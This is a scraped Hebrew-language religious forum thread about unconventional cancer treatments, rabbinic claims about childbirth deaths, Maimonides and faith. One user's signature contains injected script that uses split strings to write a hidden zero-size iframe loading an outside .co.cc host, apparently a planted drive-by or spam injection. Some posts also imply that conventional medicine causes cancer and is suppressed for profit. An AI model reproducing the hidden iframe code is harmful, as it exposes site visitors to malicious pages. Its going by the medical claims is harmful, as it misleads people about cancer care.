בית פורומים עצור כאן חושבים

צמחונות לא מרפאת סרטן: על סכנתם של טיפולים לא קונוונציונליים

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-22/2/2018 13:13 לינק ישיר 
צמחונות לא מרפאת סרטן: על סכנתם של טיפולים לא קונוונציונליים

הסיפור העגום הבא מופיע כעת בחדשות.

לינק באנגלית.






דווח על תוכן פוגעני

מנותק
נשלח ב-5/3/2018 10:20 לינק ישיר 

מיימוני כתב:
שלישישי

תודה על הרחבת הדברים.

שתי נקודות ברשותך.

כתבת

הייתי מצפה שהרמב"ם של הדור יכריז שזה לא נכון וכל זה טעות.

דומה שהרמב"ם הראשון שמר את התערבותו והכרזותיו שדברים לא נכונים רק לאותם נושאים מרכזיים מאד שבהם סבר שצריך להרחיק מן הטעות. הוא לא יצא נגד כל אגדות חז"ל אלא נגד אלו שמשבשות את הדעות. וגם אז הקפיד להסביר שהבעיה עם הפרשנים ולא עם חכמים.

עוד כתבת

כתוב בתורה ולא תונו איש את עמיתו..." פשוט, אם אתה לא יודע
אל תגיד ואל תפחיד. וכאשר המציאות מוכיחה שטעית - חזור מטעותך.

אני מבין שלדעתך יש לפרסם ברבים שלידה אינה מסוכנת כפי שהיתה פעם.

נדמה לי שיש דיון בנושא אצל רבנים העוסקים בתחום אלא שאיני זוכר את הפרטים המדוייקים. אולי זה גם היה פעם בפורום, כאשר השתתף עמנו הרב ד"ר הלפרין שליט"א.




_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



הבעיה היא שהרמב"ם עצמו כתב דברים לא נכונים....
למשל:

ט  [ח] שהת עשר שנים ולא ילדה, והרי הוא יורה שכבת זרע כחץחזקת החולי ממנה, ותצא שלא בכתובה.  ויש לה תוספתלא תהיה זו פחותה מאיילונית שלא הכיר בה, שיש לה תוספת כמו שיתבאר.  ואם אינו יורה כחץ, חזקת החולי ממנו בלבד; וכשיוציא, ייתן הכתובה כולה עיקר ותוספת.

היכן הרמב"ם של הדור שיכריז שזה לא נכון?
מדוע צריך להעביר דעות שאינן נכונות לדורות הבאים?


אין לדעתי לומר שלידה איננה מסוכנת. כל לידה יכולה להסתבך.

העניין הוא שקשרו סיבה ותוצאה שאין ביניהן שום קשר.
לכן, אם אינך יודע את הקשר בין סיבה לתוצאה עליך להמנע מלהביע דעה.
ואם כבר הבעת דעה ומתברר שדעתך שגויה - חזור מטעותך.



דדווח על תוכן פוגעני

מנותק
נשלח ב-4/3/2018 19:29 לינק ישיר 

שלישישי

תודה על הרחבת הדברים.

שתי נקודות ברשותך.

כתבת

הייתי מצפה שהרמב"ם של הדור יכריז שזה לא נכון וכל זה טעות.

דומה שהרמב"ם הראשון שמר את התערבותו והכרזותיו שדברים לא נכונים רק לאותם נושאים מרכזיים מאד שבהם סבר שצריך להרחיק מן הטעות. הוא לא יצא נגד כל אגדות חז"ל אלא נגד אלו שמשבשות את הדעות. וגם אז הקפיד להסביר שהבעיה עם הפרשנים ולא עם חכמים.

עוד כתבת

כתוב בתורה ולא תונו איש את עמיתו..." פשוט, אם אתה לא יודע
אל תגיד ואל תפחיד. וכאשר המציאות מוכיחה שטעית - חזור מטעותך.

אני מבין שלדעתך יש לפרסם ברבים שלידה אינה מסוכנת כפי שהיתה פעם.

נדמה לי שיש דיון בנושא אצל רבנים העוסקים בתחום אלא שאיני זוכר את הפרטים המדוייקים. אולי זה גם היה פעם בפורום, כאשר השתתף עמנו הרב ד"ר הלפרין שליט"א.




_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-4/3/2018 10:36 לינק ישיר 

מיימוני כתב:


לא הבנתי. מהו "זה" ש"חכמים לא ישנו את זה?" האם כוונתך שהם לא יחזרו ממה שאמרו על הסכנה לנשים בשעת לידה?

הייתי מצפה שהרמב"ם של הדור יכריז שזה לא נכון וכל זה טעות.


ומה הוכחת מכך שלקח זמן ליישם את הלקח אודות מחלת הצפדינה? בעולם לא טכנולוגי, אולי 40 שנה זה היה מהר.

הוכחתי מוות מיותר שנובע מטיפשות ורשעות.

אם היית מתעניין יותר היית יודע שיש כיום הרבה ידע שהיישום שלו יכול למנוע 
ולצמצם את מספר חולי הסרטן.
לדוגמא, חפש בגוגל באנגלית "הקשר בין סרטן לרמה נמוכה של ויטמין D "

ויש עוד הרבה ידע בנושא.

ואין לשכוח שתגלית גדולה אינה מספיקה לשנות את העולם עד שהיא נקלטת, וזה תלוי בגורמים חברתיים, כלכליים ועוד.

נכון בהחלט. יותר ידע לציבור, פחות רווחים למי שמתעשר ממחלות.

כמו כן, כאשר חכמים אמרו כי יש שלוש עבירות שבגללן נשים מתות בלידה, מה הם בדיוק התכוונו לומר? הם לא קבעו אמת רפואית או מטפיזית, לפי הבנתי. הם כן הציעו הסבר מטפיזי (או תיאולוגי, ועל כל פנים לפי תורת הגמול) מדוע אשה מסתכנת בשעת לידה.

ובוודאי שלידה היתה מסוכנת מאד בימיהם, ללא ההתקדמות הרפואית של היום.

כתוב בתורה ולא תונו איש את עמיתו..." פשוט, אם אתה לא יודע
אל תגיד ואל תפחיד. וכאשר המציאות מוכיחה שטעית - חזור מטעותך.





דדווח על תוכן פוגעני

מנותק
נשלח ב-4/3/2018 09:57 לינק ישיר 

שלישישי

לא הבנתי. מהו "זה" ש"חכמים לא ישנו את זה?" האם כוונתך שהם לא יחזרו ממה שאמרו על הסכנה לנשים בשעת לידה?

ומה הוכחת מכך שלקח זמן ליישם את הלקח אודות מחלת הצפדינה? בעולם לא טכנולוגי, אולי 40 שנה זה היה מהר.

ואין לשכוח שתגלית גדולה אינה מספיקה לשנות את העולם עד שהיא נקלטת, וזה תלוי בגורמים חברתיים, כלכליים ועוד.

כמו כן, כאשר חכמים אמרו כי יש שלוש עבירות שבגללן נשים מתות בלידה, מה הם בדיוק התכוונו לומר? הם לא קבעו אמת רפואית או מטפיזית, לפי הבנתי. הם כן הציעו הסבר מטפיזי (או תיאולוגי, ועל כל פנים לפי תורת הגמול) מדוע אשה מסתכנת בשעת לידה.

ובוודאי שלידה היתה מסוכנת מאד בימיהם, ללא ההתקדמות הרפואית של היום.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-4/3/2018 09:07 לינק ישיר 

מיימוני כתב:


אכן לקח זמן, אבל בסוף למדו כולם ממנו.

כמו כן, איני טוען שהדימוי של הרפואה הקונ' הוא מדוייק. יש כאן אידיאל. וגם אידיאל כזה עלול להחמיץ דברים שאינם עולים בקנה אחד עם התיאוריות הקיימות. ראה ספרו של קון על מהפכות מדעיות, שבו הוא טוען, טענה סוציולוגית, שתיאוריות יתקבלו רק אם הן עולות בקנה אחד עם הדגם המקובל, אבל גם קון מודה שאפילו דגמים משתנים. וזה מה שקרה בדוגמא שלך.




לצי הבריטי לקח יותר מארבעים שנה עד שיישמו את הפתרון 
למחלת הצפדינה שהביאה למותם של אלפים.

http://www.bbc.com/news/uk-england-37320399

חכמים אמרו " על שלש עברות ... "
המציאות מוכיחה שזה לא נכון.
כמה נשים מתו רק מפחד כשאמרו להן את זה?

החכמים שלנו לא ישנו את זה כי הם מבינים יותר טוב מחכמי הצי הבריטי.




דדווח על תוכן פוגעני

מנותק
נשלח ב-28/2/2018 20:42 לינק ישיר 

לפי לייבוביץ קיום מצוות הוא הוא האמונה בה' ולא דבר ערטילאי אחר.

גם אם לא נלך לפי לייבוביץ' לדעתי באופן מעשי אין אפשרות להאמין בשבריר אחוז כפי שהסברתי למעלה . 



דדווח על תוכן פוגעני

מחובר
נשלח ב-28/2/2018 19:58 לינק ישיר 

אז מי שמאמין בשבריר אחוז- נחשב לדעתך למאמין?? [מבחינה הלכתית]



דדווח על תוכן פוגעני

מחובר
נשלח ב-28/2/2018 14:03 לינק ישיר 

מצד רביעי,הטענה שלי היא שבנוגע לאמונה שבריר אחוז שווה למאה אחוז כי :

במשל שנתתי של בקבוק מים גדול שבתוכו שביב של סיכוי  של אחוז אחד של רעל הרי אתייחס לבקבוק כאל בקבוק של רעל..
והנמשל הוא שבעניינים גורליים הנוגעים לחיים ומוות :גם לשביב של אחוז יש משקל של מאה אחוז . 



דדווח על תוכן פוגעני

מחובר
נשלח ב-28/2/2018 13:17 לינק ישיר 

אפריםבן כתב:
תלמיד טועה, בנוגע לאחוזים שהזכרת - הרי אם יהיה לפניך בקבוק משקה עם סכנה של אחוז אחד שיש בו רעל האם תשתה את הבקבוק? סביר להניח שלא. 
כך גם בנושא האמונה שבריר של אחוז  אמונה בגיהנום מספיק כדי להכנס לקטגורית המאמין עם כל ההשלכות הנובעות מכך.



יש היגיון במה שאתה אומר,
אבל הבעיה היא- שמי שיש לו שבריר של אחוז אמונה,

לכאורה- גם אם ינקוט באורח חיים הלכתי- עדיין קשה לדעת- כמה אם בכלל מצוותיו יועילו להצילו מן הגיהינום,

היות והוא כויפר ואפיקורוס.



דדווח על תוכן פוגעני

מחובר
נשלח ב-28/2/2018 11:14 לינק ישיר 

מיימוני כתב:


אכן לקח זמן, אבל בסוף למדו כולם ממנו.

כמו כן, איני טוען שהדימוי של הרפואה הקונ' הוא מדוייק. יש כאן אידיאל. וגם אידיאל כזה עלול להחמיץ דברים שאינם עולים בקנה אחד עם התיאוריות הקיימות. ראה ספרו של קון על מהפכות מדעיות, שבו הוא טוען, טענה סוציולוגית, שתיאוריות יתקבלו רק אם הן עולות בקנה אחד עם הדגם המקובל, אבל גם קון מודה שאפילו דגמים משתנים. וזה מה שקרה בדוגמא שלך.

 



איך זה נראה לך שבמדינות שיש בהם המון רפואה קונ' יש המון מחלות סרטן?
ולהפך במדינות אפריקאיות?

קשה להבין שיש כאן משהו לא-נורמלי?

https://goo.gl/WXoFhq

https://goo.gl/qrFBL2




דדווח על תוכן פוגעני

מנותק
נשלח ב-28/2/2018 10:57 לינק ישיר 

שלישישי

הפנית למאמר על האיש שגילה את החשיבות של ההיגיינה.

איגנץ פיליפ זֶמֶלְוַויְיסגרמנית: Ignaz Philipp Semmelweis, בהונגרית: Ignác Fülöp Semmelweis) ‏(1 ביולי 1818 - 13 באוגוסט 1865) היה רופא אוסטרי-הונגרי, רופא נשים ומחלוצי תחום האפידמיולוגיה. זמלווייס גילה ב-1847 כי רחצת ידיים בחומר מחטא בבתי יולדות מקטינה מאוד את הידבקות היולדות באלח דם (מחלה שכונתה באותה תקופה "קדחת הלידה" ונחשבה לקטלנית), וכונה בעקבות זאת "מציל האמהות".


אכן לקח זמן, אבל בסוף למדו כולם ממנו.

כמו כן, איני טוען שהדימוי של הרפואה הקונ' הוא מדוייק. יש כאן אידיאל. וגם אידיאל כזה עלול להחמיץ דברים שאינם עולים בקנה אחד עם התיאוריות הקיימות. ראה ספרו של קון על מהפכות מדעיות, שבו הוא טוען, טענה סוציולוגית, שתיאוריות יתקבלו רק אם הן עולות בקנה אחד עם הדגם המקובל, אבל גם קון מודה שאפילו דגמים משתנים. וזה מה שקרה בדוגמא שלך.

איני יודע איך מתמודדים עם יתר לחץ דם, ומה הרפואה הלא קונ' מציעה. עד כמה ששמעתי, יש תרופות לעודף לחץ דם. כמובן, עדיף שהאדם לא ישתמש בתרופות אלא ישפר את מצבו הכללי ואז ממילא הבעיה תיעלם. אם זה אפשרי, איני יודע.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-28/2/2018 10:46 לינק ישיר 

מיימוני כתב:

 מה שעובד נבחן מהר ונקלט מהר במדע.


לא נכון.

https://goo.gl/7AEEH4

הרפואה הקונ' יודעת לרפא יתר לחץ דם?



דדווח על תוכן פוגעני

מנותק
נשלח ב-26/2/2018 08:38 לינק ישיר 

כמדומה שהועלה כאן נושא חדש לגמרי. האם רציונליזם הוא יבש וקר ואיך אפשר להעניק רגש לביטוי האמונה לרציונליסטי הזקוק לזה.

אני מעדיף לפתוח על זה אשכול נפרד.אם אמצא זמן בל"נ אציג את הנושא.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-25/2/2018 19:37 לינק ישיר 

אפריםבן כתב:
חיי תורה שנבנים רק על הסיבות שהזכרת הם בעייתיים מאד כי חסרה הנקודה הפנימית. שזה העיקר.


נכון.

יש רציונליסטים שמאמינים באמונה שלמה אף בביסוס הרציונלי של האמונה, ובכל זאת מרגישים שאמונתן זו היא מעט "יבשה" וקרה, ולכן יעדיפו לשלב אותה עם תפיסה דתית יותר רגשית - כדוגמת חסידות.



דדווח על תוכן פוגעני

מחובר
נשלח ב-25/2/2018 16:00 לינק ישיר 

תלמיד_חבר כתב:




ישנם גם כאלה, שבוחרים לקיים חיי תורה ומצוות מכל מיני סיבות אחרות: מסורת אבות, הרגל, סביבה חברתית, ההווי וכו', ולכן העדר ביסוס רציונלי לא מפריע להם כלל.





 חיי תורה שנבנים רק על הסיבות שהזכרת הם בעייתיים מאד כי חסרה הנקודה הפנימית. שזה העיקר.



דדווח על תוכן פוגעני

מחובר
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > צמחונות לא מרפאת סרטן: על סכנתם של טיפולים לא קונוונציונליים
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
1 2 לדף הבא סך הכל 2 דפים.

bholext